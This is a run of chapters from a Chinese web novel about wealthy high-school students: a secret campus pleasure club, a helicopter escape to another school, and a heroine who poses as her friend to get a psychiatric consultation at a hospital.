姜花衫扶额,一把按住她的肩膀把人推开,“你说你,非得把大家搞的这么尴尬干什么?假千金。” 苏妙眼皮一跳,豁然变脸,“你别胡说八道,那个疯女人说的话怎么能信?” 姜花衫笑而不语。 苏妙咬牙,“我一定会证明给你看,那个女人就是个疯子!在此之前,你不许在外面乱说,否则别怪我对你不客气!” 放完狠话苏妙转头就走,没走两步忽然想到什么,又折了回来,拽着姜花衫往外走,“不行,你奸懒馋滑,我信不过你。你跟我一起去,省的你到时候作妖诋毁我的名声。” “欸欸欸!苏妙你拖我去哪?” “去医院。” “我不去,我下午还要上课。” “你每天上课就睡觉,还好意思说自己要上课?” “……” 等两人拉拉扯扯消失在楼道,傅绥尔从隔壁班教室拐了出来。 衫衫真厉害,苏妙真把她抓走了。 …… 第185章 秘密花园 苏妙生怕姜花衫这条花鲢鱼耍滑偷溜,一路上死死拽着她的手,一刻不敢松懈。 姜花衫装模作样嗷了一路,最后嗷不动了,又假装生无可恋,“你往哪走?停车场不是在那边吗?” 如果从停车场出,势必会惊动苏家的人,苏妙暂时没这个打算,但她也不想过多解释,只淡淡道,“这种小事我自己就可以解决?” “自己解决?怎么自己解决?不从停车场出去,你连学校门都出不去。” 育才的规章制度明文规定学生上课期间不允许擅自离校,且这一点尤其针对贵族子弟,但这种制度其实是为了保护上层者,要是哪家财阀的少爷小姐偷溜出去出了意外,学校的责任可就大了。 所以,只有坐上有家族标识的车才可以光明正大从停车场离开。 苏妙瞥了她一眼,“那可未必。” 说罢,两人就来到了花坛前的艺术楼。 姜花衫,“来这做什么?” “问这么多干嘛,跟着我就行了。”苏妙拉着姜花衫一起进了电梯,轻车熟路按下数字6。 姜花衫环顾了一眼,发现电梯里有个摄像头,里面时不时闪着微弱的红光,她歪头对着摄像机甜甜一笑,十分友好打招呼。 “叮——” 电梯打开,苏妙拽着姜花衫来到一扇双开玻璃门前,玻璃做了液化磨砂,看不清里面的情况。 姜花衫用手戳了戳玻璃,“锁了。” 苏妙没理她,打开墙上的电子屏,熟练按下几个数字后,就听见‘滴’的一声,锁开了。 “走吧。”苏妙对她使了个眼色,拉着推门走了进去。 跨入玻璃门的那一刻,姜花衫愣住了。 里面比她想象中的大很多,装修格调光怪陆离,就像梦境与现实被割裂那种诡异风。中间有一条很长的通道,两边都是房间,房间的隔墙都是玻璃,有些清透一览无遗,有些挂上了黑丝绒窗帘。 过道中庭有个公共厅,水吧、泳池、电竞仓、沙发、电玩、赛车、拳击台所有看上去极不融和的娱乐都凑在了一个空间。 “愣着做什么?快跟上啊。” 苏妙显然不是第一次来这里,轻车熟路在前面带路,姜花衫好奇打量两边的房间,有些是K歌房,有些是电影院,最离谱的是竟然还有SPA、足浴房。 学校怎么会有这种地方? 关键是她活了两世竟然现在才知道。 中厅有很多学生,男女混坐,玩的很嗨。 一群男生初见姜花衫眼睛都直了,蜂拥涌了上来,苏妙还算讲义气,直接把姜花衫护在身后,“滚。” 男生们可没这么好打发,来这里的女生不是玩别人就是被人玩,眼前这个这么漂亮,可必须快点抢到手。 “身上没有邀请函?新人?哥哥带你玩啊?” 姜花衫探出一只脑袋,不懂就问,“怎么玩?” 苏妙,“……” 男生被可爱到差点颅内gc,咽了咽口水,“你想怎么玩……” 苏妙木着脸,“我苏家的,她是沈家的,你想玩谁?” 苏家?沈家! 男生们顿然脸色裂开,连连后退,举手投降,“开……开玩笑的。” 苏妙,“还不滚?” 男生们表情讪讪,尴尬退回了原位。 姜花衫,“诶,你们别走啊,还没说怎么……” “你闭嘴吧!”苏妙眼皮狂跳,一把捂住她的嘴,“你对自己这张脸没点数吗?我可告诉你,这里都是些烂人,就算有沈家的名号罩着你也保不齐有人不怕死。” 姜花衫拉下她的手,“这是什么地方?学校怎么会有这种地方?你带我来这里做什么?” 苏妙,“你有完没完?哪这么多问题。” 姜花衫黑脸,转身,“那我去问他们。” “回来!”苏妙头疼,一把拽回姜花衫,小声道,“这是育才的秘密乐园,听说是以前的财阀族长们担心家里的孩子去外面玩学坏,就在学校弄了个专供玩乐的地方。” “不过后来性质就变了,这里不单单贵族可以来,长得好看的平民也可以来。” 姜花衫点头,“噢,原来这就是被玩和玩的区别?” 苏妙看了她一眼,“你待会跟着我别乱走,这里还有人K药的,万一遇上疯子麻烦就大了。” 姜花衫一脸震惊,“K药?” 苏妙,“这有什么好奇怪的?我们出生就是别人一辈子都到不了的终点,总有人受不了诱惑喜欢玩刺激。” 姜花衫点头,状似不经意,“看你门道挺熟的,常客?经常来这里玩?” “呸!我才没有。”苏妙原本不想多解释,可忽然想到姜花衫是沈归灵的妹妹。 万一她误会自己,传了什么不好的话让阿灵哥哥误会怎么办? 苏妙轻咳了一声,“我和阿珊初中的时候跟踪阿珩哥才发现这里的,阿珩哥带我们转了一圈,所以我才知道。” 姜花衫,“周宴珩?” 早知道他不是个东西,原来这么不是东西。 苏妙点头,“这里每三届都会更换一次经营者,阿珩哥就是现在的经营者,也就是这里的老大。” 姜花衫,“我刚刚听那些人说邀请函,什么是邀请函?” 苏妙,“秘密花园只对高中部开放,所有贵族级别的学生在开学一个学期后都会收到秘密花园的邀请函,有邀请函的就是玩家。当然,玩家之间也有门第区别,你看,那边的VIP区就有警戒线,一般人去不了。” “原来是这样。”姜花衫若有所思,顺着苏妙指的方向看了过去。“不愧是VIP,摄像头都比别人多。” “你别去那里。”苏妙拉着姜花衫转过身。 “怎么了?” 苏妙,“那是阿珩哥专用的房间,他是个变态,你最好别招惹他。” 姜花衫有些意外,不由高看了苏妙一眼,没想到除了她,还有人这么火眼金睛。 苏妙以为姜花衫不信,又强调了一句,“别怪我没提醒你,阿珩哥可不是姚淄磊那种三流货色,你那点小伎俩可应付不了他。” 姜花衫笑了笑,她倒是想,就怕剧情不答应,1%的主线偏离,怎么看都避不开。 “好了,该说的我都说了,跟我来吧。” 苏妙带着姜花衫走到一个挂满黑丝绒窗帘的玻璃盒前,抬手叩门。 “谁啊?” 里面的人有些不耐烦。 “苏妙。” “靠!”里面的人低咒了一声。 …… 第186章 你妹妹好像出去找男人了 过了会儿,玻璃门打开,一个女生衣裳不整跑了出来。 苏妙完全没想到还有这么一幕,明显愣了一下,耳尖通红。 姜花衫回头盯着女生的背影,那是…谢棠? “嗨!小苏妹,高一新生的邀请函都还没发,你怎么就找来玩了?” 里面的男生梳着背头,肌肉遒劲有力,衬衣领子已经开到了第三个,一副玩世不恭的样子。 姜花衫扫了一眼。 关鹤,新贵关家小少爷,他和周宴珩两人是一丘之貉,周宴珩杀人他放火,周宴珩打劫他烧家。 “哟,有新面孔?” 苏妙直接挡在关鹤面前,“她是沈兰晞的妹妹。” 关鹤眼里的猎奇立马消失,哈哈笑了笑,“我又不是豺狼虎豹,这么紧张做什么?说吧?找我什么事儿?” 苏妙,“我要出去一趟,所以想请阿鹤帮帮忙。” 关鹤,“你瞒着家里偷溜?” 苏妙没接话。 关鹤上下打量她,“倒不是不可以,得告诉我去哪?万一你出了什么事,苏爷爷知道有我掺和,我小命不保。” 苏妙想了想,“我要去鲸港一中。” “鲸港一中?”关鹤先是皱眉,随即一脸暧昧,“我知道了,谈恋爱了,想溜出去会情郎?” 苏妙僵硬点了点头,“……对。” 关鹤又看向姜花衫,“那你呢?” 姜花衫表现的很自然,“我也去谈恋爱。” 苏妙眼皮跳了跳。 “啧!”关鹤皱眉,“你也是,不是!你们俩什么眼神?咱们育才的男人不比鲸港一中的香?那些个只会傻读书的穷B有什么好?怎么尽找外人?” 苏妙,“阿鹤哥,你别问了,快带路行不行?” 关鹤不服,“那不行,我今天非得问个明白。” 姜花衫,“因为我们喜欢包养的感觉?” 苏妙,“?” 关鹤,“!” 姜花衫,“傻读书就更好了,没见过什么世面,勾勾手指就被迷得神魂颠倒。” 苏妙嘴角抽搐,皮笑肉不笑,“你知不知道自己在说什么?” 关鹤猛地一拍大腿,“这个妹妹是同道中人啊。好,等着,哥立马给你们安排。”说着风风火火冲出了房间。 苏妙,“……” * VIP室。 偌大的玻璃盒子里,每一面墙都是光怪陆离的灯影幻象,盒子中间吊着一块三米高的巨幕,屏幕里一群穿着迷彩服的男人在丛林作战。 周宴珩带着传声耳机,目光在九个屏幕视角来回切换。 “Three o''clock direction,Kill the number 7,Fire。” ‘砰——’ 耳机里传来一声枪响,眼前的屏幕被鲜血染红。 “WIN!” “阿珩!” 两道声音同时在耳边响起。 周宴珩摘下耳机,拿起桌上的遥控器对着门按了一下,玻璃房门慢慢打开。 关鹤快步走了进来,随意瞟了一眼游戏屏幕,“嚯!十六杀!大满贯啊。” 周宴珩玩的游戏是暗网现在最火的真人杀游戏,奴隶主可以通过语音操控玩家,所以这所谓的十六杀其实就是真真正正的十六条人命。周宴珩是里面的老玩家,草菅人命已经成了习惯,远没有当初的兴奋感。 他兴致缺缺给自己倒了一杯水,“找我什么事?” 关鹤,“噢,苏妙和她朋友想偷溜出去找男朋友玩,让我想办法带她们出去,对了,你的飞机还在机坪停着吗?” 周宴珩喝水喝到一半,转头看向关鹤,“找男朋友玩?” 关鹤点头,“是啊,那俩小丫头眼神不行,对象是鲸港一中那些书呆子。” 周宴珩放下水杯,“飞机还在老位置,直接去就行了。” “得嘞。”关鹤转头出了房间。 等人走后,周宴珩重新端起水杯,拿着遥控器对着巨幕按了按。瞬间,画面跳转定格到了之前的电梯里,姜花衫正歪头对着镜头打招呼。 她笑的很甜,桃花眼弯弯,好似含情脉脉又好似不屑一顾,很挑衅,又很无辜。 周宴珩喝了一口水,拿起桌上的手机拨通了一个电话。 “沈清予,你妹妹…好像出去找男人了。” * 苏妙万万没想到,关鹤接送方式这么酷炫,竟然搞来了一辆直升飞机,更让她没想到的是,看上去不学无术的关鹤竟然会开飞机! 姜花衫倒是表现的比较淡定,这飞机她以前坐过,周宴珩的。 鲸港一中附近不好降落,关鹤事先联系了熟悉的酒店,从酒店坪顶降落后,他们又从酒店打车去了鲸港一中。之所以要去鲸港一中是因为关鹤一直跟着。 男生八卦起来根本没女生什么事,关鹤脖子上还挂着个望远镜,“放心,哥没那么不识趣,等你们见着面我立马就走。” 开学第一天,又正值中午午休时间,鲸港一中的校门口都是学生。 苏妙按了按太阳穴,“怎么办啊?” 姜花衫,“这有什么,门口这么多学生,你随便上去抱一个不就打发他了?” 苏妙头更痛了,这种事她可做不出来。 关鹤,“怎么还没出来,你们赶紧打电话催催啊,这吃软饭的怎么一点觉悟都没有,还敢让金主等?” “……”苏妙拉了拉姜花衫,“怎么办?想想办法啊,不然他一直跟着我们就没法去医院了。” 姜花衫,“办法不是没有,得花钱。” 苏妙斜睨她,“你还缺钱?” “缺!大缺特缺。” 苏妙,“行,你帮我想个办法打发他,我给你三万。” 姜花衫,“你打发叫花子呢?” 苏妙,“五万!” 还是太少了,提不起劲儿。 姜花衫正要拒绝,忽然眸光一定,落人群中的一个少年身上。 夏星沉。 娇姨死后,让傅绥尔未婚先孕的渣男。 姜花衫眸光微暗,拍了拍苏妙的肩,“成交。” 话音,她嘴角抿成一道弧,笑着朝人群里的少年走了过去。 …… 第187章 名人不放暗屁 “夏星沉,你真的要接受育才的邀请转学吗?如果是这样,那就太可惜了。” 眼前的少年面容清秀,头发微卷,脸上带着明媚的笑容。 “只是收到了通知,但会不会转学我说的不算,还得看家里安排。” “啊?不要啊!你要是走了,我们年级平均分肯定拉不上了。”好友们七嘴八舌把他围在中间。 夏星沉有些无奈抓了抓头发,嘴角噙着笑,“你们可别这么说,咱们学校都是学神,哪能靠我一个人拉分?” 女生们都喜欢这种灿烂干净的男生,立马起哄道,“那也不行,你走了,谁还能扛下鲸港一中的校草之名?” “就是,没有人比你帅了。” 夏星沉哭笑不得,正想客套两句,人群里忽然闯入一个不速之客。 “是吗?我看看。” 那人无比自然拂过人群,嗖得一下窜到他面前,没等他反应过来,就直接来了个女娲炫技暴击。 “……” 夏星沉在学校人缘极好,平时总有一堆朋友围在身边。女生们见有人上来就贴这么近,立马不满拉住姜花衫,“诶?你谁啊?表白也不能这么没礼貌啊。” “表白?你说我?”姜花衫回头看着女生。 卧槽!长这么好看的吗? 女生愣了愣,周围的人立马注意到姜花衫身上的校服和她们不一样。 玫瑰之盾,连衬衣上的纽扣都精致得不行。 育才的贵族学生。 女生吓的赶紧松手,育才用权力把普通人隔绝在外,所以大家对里面人的身份也格外忌惮。 姜花衫又回过头盯着夏星沉打量,“就这?还学校门面担当?鲸港没人了?” 她的态度很高傲,就像在打量橱窗里一件待售的商品,在场的人脸色渐渐都不好看,但碍于不知道姜花衫的身份,大家怕惹祸也只能隐忍不发。 夏星沉倒表现的很淡定,脸上笑容不减,“我朋友他们开玩笑的。” 姜花衫跟着笑了起来,往前走近了一步,两人之间的距离近到只有一只胳膊的长度。 夏星沉猝不及防,眼眸颤了一下。 与此同时的对面。 苏妙一脸震惊,我去!姜花衫真为了钱什么事都做得出! “啧,明白了,咱们育才的哥哥们就是输在不会卖笑,就算给老子一个亿,老子也笑不了这么荡漾啊。” 关鹤拿着个望远镜把夏星沉全身上下都扫了一遍,他手里的望远镜是军队作战的特供眼镜,就这距离,夏星沉嘴角扬起多少弧度都能计算的一清二楚,关鹤特意留意了数据,每次都是38.5°,丝毫不差。 苏妙,“……” “行了,人也看到了,我学校还有事,先走了。飞机在酒店楼顶,要回的早直接给我打电话。” 苏妙巴不得他立马消失,摆摆手,“阿鹤哥再见。” 关鹤早看出她们想打发他,啧了一声从口袋里拿出两张卡,“诺,别说哥哥不关照妹妹。” 苏妙一头雾水,“什么东西?” “还给我装?放心,这里绝对安全。”说罢,关鹤直接把卡塞给苏妙,转身潇洒离开。 什么不安全? 苏妙莫名其妙,拿起两张卡打量,忽然脸一下就绿了,绿了之后又红了。 傻逼,给她房卡做什么? 另一边,姜花衫一贴近,夏星沉微微乱了呼吸。 她轻声细语,“我劝你还是别来育才拉低我们的颜值了,我们学校不欢迎丑陋的低劣者。” 夏星沉颤动的眸光在一瞬间盯住,上一秒扰乱心神的暗香这一秒就变成夺命的缰绳。 “……”夏星沉一言不发,不动声色看着她。 姜花衫后退一步,依旧一副高高在上的模样,“记住了,我说的可不是玩笑话。” 话落,她抿嘴莞尔一笑看向之前的女生,“借过。” 女生有些畏惧她身上的气势,慢吞吞让出一条路。 姜花衫走出人群,十分大方朝苏妙挥手,苏妙穿过马路,趾高气扬往人群扫了一眼,一把拽住姜花衫的手腕,“烦人精走了,我们也有吧。” 两人走到对面街道,拦下一辆出租车后扬长而去。 过了许久,鲸港一中的同学才陆续开口。 “刚刚那个女生也是育才的吧?育才今天不上课吗?怎么都跑来我们学校了?” 有人缓和气氛,“该不会是知道夏星沉要转学,特意来看人的吧?” 夏星沉有颜有才,慕名来学校偷看的外校女生不在少数,以前也不是没出现过育才的女生,只不过这么美这么拽的还是第一个。 让路的女生故作不经意问道,“夏星沉,刚刚那个女生跟你说了什么?她是不是也喜欢你啊?” 说了什么?特意跑到他面前说他是个丑陋的卑劣者。 夏星沉隐下眼里的阴霾,嘴角扬起无害的笑,“不知道啊,说了一些莫名其妙的话。” 这话本身就具有歧义,问话的女生脸色难看,围观的男生眼神暧昧,其中一个没忍住直接扑上去锁喉。 “我靠!你小子艳福不浅啊。” 夏星沉笑着与同学打闹,却也没有过多解释。 * 车里。 苏妙拿出手机,“你收款码多少?” 姜花衫原本还在恍神,一看有钱收立马拿出手机,打开二维码。 苏妙拿着手机扫码,犹豫片刻把原来说好的五万改成了十万,这是辛苦钱,不能苛刻。 可当她输完密码时,整个人蚌埠住了。 余额不足??? 苏妙表情淡定,又把十万删了改成五万,凡事有言在先,还是得有契约精神。 再次输入密码。 再次被蚌埠住了,因为又显示余额不足。 苏妙立马退出转款界面查看余额,这一看差点把她气笑了,余额:0.34元。 “……” 她怎么这么穷? 想起来了,因为沈归灵不回她的消息,她生无可恋,昨天去商场报复消费了一波,把这个月的零花费都用完了。 姜花衫见她磨磨蹭蹭,眼神立马扫了过来,“怎么?你想赖账?” 苏妙白了她一眼,“这点小钱我至于吗?” 姜花衫,“不至于你倒是转啊?” “……”苏妙拉不下脸说自己没钱,便找了个借口,“我忘了我换了卡,先加好友,等回去转你。” 姜花衫一脸怀疑。 “……”苏妙抢过她的手机,扫码,“关你peace?呵,这名字狗都不加。” 姜花衫拿过手机,屏幕立马跳出一条好友申请提示。 【名人不放暗屁向您发送一条好友申请。】 姜花衫点下接受,“狠人啊,连自己都骂。” 苏妙这才反应过来,“……” …… 第188章 女厕所信号不好 开学第一天一般都没什么课,安静的午后,第一节下课铃一响,傅绥尔立马从书包里拿出精致的下午茶便当。 水果、点心、红茶,再加上一本《世界经济和帝国主义》。 傅绥尔用小银叉叉了一颗葡萄,刚翻开书,头顶就压下了一片阴影。 她有些不满,正打算训斥,一看是沈清予立马换上热情的笑容,“清予哥!你怎么来了?” 沈清予扫了一眼她身边的空位,修长的指尖点了点空位,“姜花衫呢?” 眼前的少年比之三年前沉稳了许多,丹凤眼飞扬上挑给人一种玩世不恭的散漫,这骨子里的散漫总给人一种随时会渣人的感觉。 傅绥尔知道沈清予不会渣她,但她怕扎。 三个哥哥里,沈兰晞虽然刻板,但也只是动动嘴皮,沈归灵就不用说了,平时连重话都不说,唯独沈清予,不仅嘴巴毒还喜欢教训人。 “衫衫?”傅绥尔立马调整状态,站起身四处查看,“奇怪了,明明刚刚还在这的,可能上厕所去了吧。” “上厕所?”沈清予双手抱胸,语气凉凉,“这么巧?” 傅绥尔假装没听出来沈清予口中的嘲讽,一口咬下葡萄,“是啊,是蛮巧的。清予哥,你找衫衫有事吗?有什么事你告诉我,等她回来我替你转达。” 沈清予,“她不是说手头紧吗?我来送钱,你现在去女厕所把她叫出来,就说五分钟不来钱就没有了。” 爆金币啊! 傅绥尔眼珠一转,“清予哥,女孩子上厕所要很久的,不能催,要不你转给我,我给衫衫,你放心,我绝对不会贪污的。” 沈清予,“以前只要听说有钱拿闻着味就来了,今天是怎么了?看来还真不在学校?偷溜出去了?” 傅绥尔脸色微变,尴尬笑了笑,“没……没有,都说了在厕所。” 沈清予油盐不进,“出去干嘛了?” 傅绥尔打死不招,“在厕所。” 沈清予,“她什么时候谈恋爱的?” “在厕所谈的……”不对!傅绥尔猛地反应过来,“谁谈恋爱了??她在厕所。” 沈清予点头,“你倒是挺讲义气。”说完,转身出了教室。 “呼!吓死我了!”傅绥尔暗暗舒了一口气,拿出手机给姜花衫打电话。 “喂!衫衫,不好了,清予哥发现你……” 话说到一半,傅绥尔忽然感受到一道死亡凝视,抬眸一看,正好与沈清予对视上。 “……” 回马枪?虚晃一招! 傅绥尔咽下原来的话,在沈清予的刀人的注视下生生改成了,“啊!什么?你没带手纸?难怪要这么久,好的好的,我现在立马给你送啊。” 傅绥尔面不改色挂了电话,顺手拿了一包纸,路过沈清予时还严谨解释了一句,“我去送纸了。” 说完,拔腿就跑。 沈清予伸手,一把揪住傅绥尔的后衣襟,顺势从她手里拿过手机,“姜花衫,现在、立刻、马上回来。” “嘟——” 电话那边挂断了。 忙音一出,沈清予眼眸微眯,眸光顿深。 敢挂他电话? 傅绥尔缩了缩脖子,死到临头还不忘替姜花衫解释,“清予哥,你不知道吧?我们学校女厕所信号一直不好。” “呵。”沈清予冷笑了一声,松开傅绥尔,“你们的胆子是一年比一年肥了?行,等着。” * 鲸和医院那边。 苏妙从样品室出来后,心情一直忐忑不安。 她大概是疯了,才会因为一个疯女人的话跑来做什么亲子鉴定。 姜花衫挂了电话,转头看向苏妙,“怎么了丧着个脸?结果出来了?那个女人真是你妈?” 苏妙动摇的心思瞬间被愤怒占满,“你有没有常识?亲子报告哪会这么快?五到七个工作日才会有结果。” 姜花衫乜了她一眼,“我又没做过怎么知道?你不可以让他们加急吗?” 苏妙一下心虚起来,“我没有用自己的名字。”既然是瞒着家里偷偷来了,没道理用苏家名号。 姜花衫忽然有种不好的预感,“你没录信息人家为什么要给你做?” 苏妙难得对她笑了笑,“因为我用了你的名字。” 姜花衫,“……” 苏妙自觉理亏,赶紧解释,“反正都是假的,就借用下你的名字有什么关系?” 姜花衫一言不发,静静看着她。 苏妙硬着头皮,“我不白用,给你钱总行了吧?” 姜花衫皱眉,“那你可得记得啊,还有,你连检查费都是我垫付的,记得一起还我。” 苏妙咬了咬牙,“知道了!回去就给。” “行吧。”姜花衫勉为其难应下,“那回去吧?” 苏妙跟着姜花衫出了检查楼,心里不知怎么忽然七上八下,频频回头看着身后那栋白色大楼。 姜花衫看出了的她的忐忑,故意嘲讽,“怎么?现在知道害怕了?可惜晚了~” 苏妙一秒恢复战斗状态,“谁害怕了!你倒是提醒我了,你这个喜欢背着扩音器的大喇叭!我警告你啊,结果出来之前你不许声张,下星期你跟我一起来拿结果,我要让你心服口服,免得你出去乱说。” 目前走势完全在姜花衫的掌控之前,她故作不配合,“我没空啊,我又不是苏家人,你是真是假跟我有什么关系?” 苏妙见她这么说,倔脾气也上来了,“不行,你必须来,你得给我作证。” 姜花衫摆摆手,“到时候再……”她话音一顿,目光凝固,锁定了不远处的一道身影。 “你干嘛?”苏妙好奇,顺着她的视线看了过去。 “那不是沈眠枝吗?她怎么也来医院了?” 姜花衫脸上的戏谑少了几分。 是啊?她怎么来医院了?更巧的是,沈眠枝去刚刚进去的那栋大楼…… 她上一世才去过。 …… 第189章 另一个我 “你在看什么?她都进去了。走吧,现在回酒店应该还能赶上学校最后一节课。” 苏妙现在的状况一地鸡毛,也没功夫关心别人。 姜花衫盯着不远处的蓝白大楼,它比记忆中更鲜亮一些,白云在楼顶游走,有种时间错流的感觉。 “你怎么了?”苏妙走两步发现姜花衫还在原地,又顺着她的视线看了过去,但依旧没有发现什么异常。 姜花衫转过身,正准备离开,脑子里忽然闪过一帧沈眠枝错乱的标签。 她立马顿住,滟潋的眸光像是突然被静止的湖面,某种猜想一跃而出。 不会吧? 姜花衫又转头,若有所思看向身后的蓝白大楼。 “你先回去吧。” 几乎是一瞬间,她就有了决定,转身朝蓝白大楼走去。 “诶?!”苏妙看着姜花衫的背影,一时不知进退。 大楼入户门厅挂着健康咨询几个大字,姜花衫视若无睹直接进电梯去了三楼。 三楼属于VIP专属区,这里的医生一般需要提前预约,环境相对比较私密,一出电梯,咨询台的护士便笑着站起身。 “您好,请问有预约吗?” 姜花衫摇头,“没有。” 年轻护士略带歉意,“抱歉啊小妹妹,我们这里是预约制的,没有预约是不能进的。” 姜花衫轻车熟路,“我叫苏妙,我爷爷是苏氏财团苏敬琉。” 护士微微一愣,立马反应过来,“稍等。”说罢,坐回电脑前调取医院系统资料。 如鲸和这样的三级特等医院都会提前输入A国所有贵族成员的信息,为的就是防止万一哪位少爷小姐出事被送进医院延误治疗。不过,为了保护家族成员,一般记录的信息只有名字、年龄、性别,没有对应照片。 医院为了不得罪这些财阀,查到这里一般都会优先紧急救治,然后再打电话确认,因为救错顶多就是浪费一点医疗资源,但如果不救责任可就大了。 姜花衫一脸不耐,“查到了吗?查到了就立马给我安排一个。” 名字和年龄都对上了,年轻护士抱着不能得罪的心态笑着迎合,“稍等,马上为您安排。” 半分钟后,护士递上一张编码纸,“您好,为您预约的是特级心理咨询师钱医生,上面有房间号,请您这边登记一下,登记好了从左边进去。” 登记册显示上一个进去的病人叫沈枝,房间号333。 姜花衫随意扫了一眼,大手一挥写下苏妙二字。 登记好后,她按护士的指示进入了问诊区。问诊室都是一排排的房间,每个房间的房门都是紧闭的。 姜花衫沿着走廊往里走,很快找到了333号房间,房外挂着有人的指示牌。 她犹豫了片刻,轻轻拧动门把手,发现没有反锁后手上的力度越来越轻,就像钢针在气球上游走那般小心翼翼。 所幸,里面的人都沉浸在对话里,完全没有注意门外的动静。 拗了足足一分钟,锁扣到底,终于推开了一条缝隙。 隔音的效果骤然消失,沈眠枝略带疲惫的声音冷不丁传了出来。 “不是的,这次真是不是幻境,是真的有人在控制我。” 姜花衫微怔,她虽然隐约猜到了,但这样的真相被印证她还是觉得有些匪夷所思。 对面的男人还是老熟人,只不过要年轻很多。 男人一脸淡定,“沈小姐,我们已经跟你做过很多脑科检查了,所有显示结果都表明您没有问题。” “不是的。你们的检查肯定有问题,我一定是哪里出了问题。”沈眠枝还是不甘心,略带乞求,“要不,您还是给我开点药吧?我上网查了,利培酮片、布南色林都可以抑制幻觉。” 男人扶额,“沈小姐,您这不是在为难我吗?医生是不能随便给没病的患者开药的。恕我直言,您现在的偏执真的很危险,长此以往,您就算没病也可能被自己臆想出病。您放心,我会好好跟沈先生谈谈,告诉他您真正的需求。” 沈眠枝不解,“我真正的需求?” 男人,“您太渴望被爱和关心了。” 沈眠枝摇头,情绪忽然变得激动,“不是这样的!我并不是为了引起爸爸的注意才撒谎自己有病的,我是真的……”她声音渐渐变小,“真的控制不住。” 就好比现在,她明明生气的要命,却还是忍不住替眼前的医生辩解,或许他说的没错,自己的确不该去为难别人的,胡乱开药如果被医院发现可能会连累医生丢了工作的。 可是…… 为什么事事都要替别人想,那谁来为着想她? 沈眠枝摇头,企图将这些思维都甩出去,但她越挣扎就觉得自己有罪,愧疚自责所有谴责自己的情绪都会翻倍涌上来。 与每一次斗争的结果一样,她又以失败告终了。 沈眠枝站起身,脸色愧疚,“对不起,是我太任性了。我保证这是最后一次。”说罢,她神情呆滞走出了房间。 狭长无光的通道,她一个人踽踽独行,背影看上去就像要碎了一样。 她走得很慢,每一步都似乎想停留,但每一步都没有停留。 姜花衫从植被后走了出来,眼睁睁看着沈眠枝越走越远。 “哎,现在的富家小孩儿凡事不如意就说自己有抑郁症,还觉得自己挺酷。” 男人当着沈眠枝的面不敢吐槽,等她走远了才端着一杯热茶慢悠悠走了出来。 姜花衫皱眉,开口叫住他,“肖智。” 男人被吓了一跳,反射性回头,这才发现身后站着一个长得极好看的女孩儿。 不过,这孩子也太没礼貌了。 肖智左右看了看,“你这孩子是谁啊?你家大人呢?” 姜花衫抬步走到肖智面前,“我姓苏,是苏氏财团沈敬琉的孙女。” 肖智脸色微变,立马换上亲切的笑容,“苏……苏小姐,有什么事吗?” 姜花衫,“找你能有什么事,当然是看病。”说罢,瞥了他一眼转身走进房间。 肖智一脸懵逼,正准备抬腿忽然反应过来,低头看着自己胸口的名牌,刚刚他出来的时候是背对着小孩儿的,她是怎么知道他的名字? “还不进来?” 肖智脸色更怪异了,端着茶杯回到自己的座位,“苏……苏小姐,您知道我是看什么的吗?” 姜花衫点头,“知道。” 肖智很怀疑,“那就说说您的问题吧。” 姜花衫往后一靠,飒气十足,“我直说吧,我有病,精神病。” …… 第190章 我有药,你要哪个? 一个小时候后,姜花衫拎着一堆药从心理大楼走了出来。 苏妙蹲在花坛草都扒秃了,大老远看见她立马冲了上去,“你怎么才出来?” 姜花衫愣了一下,“你怎么还在?” 在她的计划里,这一刻应该没有苏妙。 苏妙没好气,“你没看见天都快黑了吗?既然是一起出来的,我也没有丢下你的道理。” 姜花衫不由高看了她一眼,早知道两年后的苏妙,可是会为了活命不惜出卖朋友的人,没想到当下竟然还有这种觉悟。 “你看着我做什么?你进去这么久是去买药了?你受伤了?” 姜花衫一脸警惕把药藏在背后,“干嘛?无事献殷勤,非奸即盗。” 苏妙立马黑脸,“谁能奸得过你?” 姜花衫捂着药,“走吧,这个点也不用回学校了,各回各家吧。” 苏妙原本是想等着姜花衫一起走,谁知对方好心当作驴肝肺,苏妙瞬间有了脾气,掉头就走。 “谁爱管你。” 走到一半,忽然想到什么,苏妙心如死灰闭了闭眼,又折了回来。 姜花衫,“又干嘛?” 苏妙,“借我点钱,我打车路费不够。” “……”姜花衫皱眉,上下打量她。 苏妙压着火,“双倍还你。” 姜花衫想了想,拿出手机给她转账。 苏妙脸色缓和了一点,打开手机一看,差点气死,“十块钱?!!!” 姜花衫拍了拍她的肩膀,“坐捷运吧,就当提前适应假千金的生活。” 苏妙,“……” * 心理咨询楼,三楼。 肖智看着眼前的满分试卷,端茶的手吓得瑟瑟发抖。 多少年了!竟然又出现了一个满分神经病,这可是重症里的重症啊。 肖智坐立难安,终是没忍住冲出问诊室,“小张,苏小姐的这个电话我亲自来打。” 女护士正好已经拨通了电话,闻言立马把电话递给肖智。 肖智清了清嗓音,端出一副专业医者的态度,“您好,苏老爷子,我是鲸和高级心理师肖智,今天苏小姐来医院就诊了,情况不是很妙。恕我直言,以苏小姐现在的症状实在不适合居家治疗,我个人还是建议来医院办理入住手续,尽早治疗,尽早干预,以防她病情发作误伤家人。” “诶!”女护士一脸懵,她还没跟苏家核实那位小姐的身份呢,肖医生怎么什么话都敢往外蹦? 电话那头不知说了什么,肖智立马站直身子,表情躬谦笃定,“您放心,我敢以我从业十年的经验向您保证,我的诊断绝对没有问题。苏小姐现在的情况很危险,再不治疗只怕就晚了。” * “该死的姜花衫!” 苏妙从出生到现在都没接触过捷运这种大众交通,只简单的查路程换硬币流程就消磨了半个小时,索性最后还是顺利上了车。 上车后,苏妙一脸嫌弃又忍不住有些好奇,原来这就是传说中的平民交通啊? 苏妙随便找了个位置坐下,左右看了看,见没人注意她,小心翼翼拿出手机拍了一张自拍,然后传到自己的社交平台。 配文:平民交通,捷运,打卡成功! 刚传上去,手机就来电话了,苏妙一看来电显示,表情微动。 这个时候没回家爷爷肯定已经知道她逃课的事了,医院的事绝不能承认,就说是姜花衫带她出去玩了。 打定主意,苏妙按下接通键,“爷爷。” 苏敬流,“你在哪?” 苏妙左右看了看,“爷爷,外面玩呢。” 苏敬琉语气有些不对,“哪个外面,说清楚……” 这时,车里突然语音报幕:“叮咚——尊敬的各位乘客,北环站口到了,开门请下车。上下车请当心缝隙,注意脚下安全;门灯闪烁时,请勿上下车。” 苏敬琉,“……” 苏妙吓了一跳,手机差点扔出去。 苏敬琉,“你在捷运上?” 苏妙呵呵笑了笑,“是啊,不知道怎么回事,今天突然就想体验坐捷运是什么感觉?” 苏敬琉眼皮一跳,不会是真有病吧? “你,下一站立马下车,我让管家来接你。” 